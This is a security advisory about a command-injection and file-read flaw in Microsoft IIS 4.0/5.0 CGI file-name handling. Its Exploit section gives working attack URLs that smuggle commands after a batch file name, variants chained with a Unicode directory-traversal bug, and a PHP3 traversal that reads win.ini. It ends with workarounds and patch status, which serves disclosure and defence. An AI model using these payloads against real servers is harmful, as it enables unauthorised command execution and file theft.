|
|
|
|
| |
The NSFOCUS security team discovered a security flaw in Microsoft IIS 4.0/ 5.0's Cgi file name handling. By exploiting this vulnerability, an attacker can read local system files and run arbitrary commands.
The following advisory contains additional technical information to our previous article: Microsoft IIS 4.0/5.0 CGI File Name Inspection details. |
| |
Credit:
The information has been provided by Nsfocus Security Team.
|
| |
Exploit:
1. Running arbitrary commands
Create a batch file called "test.bat" with arbitrary content like "abc" under an executable directory (e.g. /scripts). Submit the following URL:
http://www.example.com/scripts/test.bat"+&+dir+c:/+.exe (for IIS 5.0)
Or
http://www.example.com/scripts/test.bat"+&+dir+c:/+.com
You will get the file listing of the C:\ directory.
Double quotation marks will be attached to the executable file name by IIS, therefore the request should be turned into the following format when it is passed to "CMD.exe":
CMD.exe "D:\interpub\scripts\test.bat" & dir C:/ .exe"
The impact is that an attacker can run arbitrary commands with IUSER_machinename privilege, while the executable virtual directory does not even have to be on the same drive as "WINNT\system32\CMD.exe".
To attack IIS 4.0 with SP6 and IIS 4.0/5.0 with the MS00-057 patch, we can use the following URL:
http://www.example.com/scripts/test.bat"+"&+dir+c:/+.exe
For IIS 4.0 + SP6/SP6a, we can combine our attack with the "%c1%1c" vulnerability:
http://www.example.com/scripts/test.bat"+"+&+dir+c:/+/..%c1%9c..%c1%9c ..%c1%9c..%c1%9cwinnt/system32/route.exe
(NOTE: URL has been wrapped)
"winnt/system32/route.exe" can be replaced with any existing executable program with a ".com" or ".exe" suffix.
To insert commands in the URL parameter, use: http://www.example.com/scripts/a.bat"+".exe?+&+dir
The older patch for IIS 5.0 previously provided by Microsoft does not protect against this attack.
Whereas the IIS executable directory does not have any batch files in the default installation, an attacker can wait for one of the following to occur:
(1) The system administrator will install a CGI program allows users to create files under the executable directory. For example, many web counters allow users to create and name a data file though they can't control the file content. An attacker may use this chance to run arbitrary commands.
(2) MSSQL and Perl have their own batch files. On the occasions that the system administrator installs MSSQL or Perl, and the installation happens to be in the same drive of some IIS executable virtual directory, an intruder may carry out the attack with this combining with "%c1%1c" vulnerability.
For instance, NSSQL7 has 2 batch files under "\install" with default installation:
D:\mssql7\install\pubimage.bat
D:\mssql7\install\pubtext.bat
(MSSQL7 should be installed in D:\)
We can run arbitrary command by submitting the following URL if the "\scripts" directory of IIS has been mapped to "D:\interpub\scripts":
http://www.example.com/scripts/..%c1%1c../..%c1%1c../mssql7/install/pubtext.bat"+&+dir+c:\+.exe
In addition, web sites that allow users to upload ".bat" or ".cmd" file may also suffer from this kind of attack.
2. Exposing file content
On system that have php.exe (PHP3) installed, the attacker may read some files outside the WEB directory: http://www.example.com/."./."./winnt/win.ini%20.php3
Workaround:
1. Always remove unnecessary batch files and .cmd files, and keep necessary batch or .cmd files in a different drive than any executable virtual directory.
2. Deny access privileges of the "guests" group to "CMD.exe".
Vendor Status:
Microsoft has released a patch that resolves this vulnerability. For more information, see our previous post:
Web Server File Request Parsing vulnerability (Patch available)
|
|
|
|
|
|
|
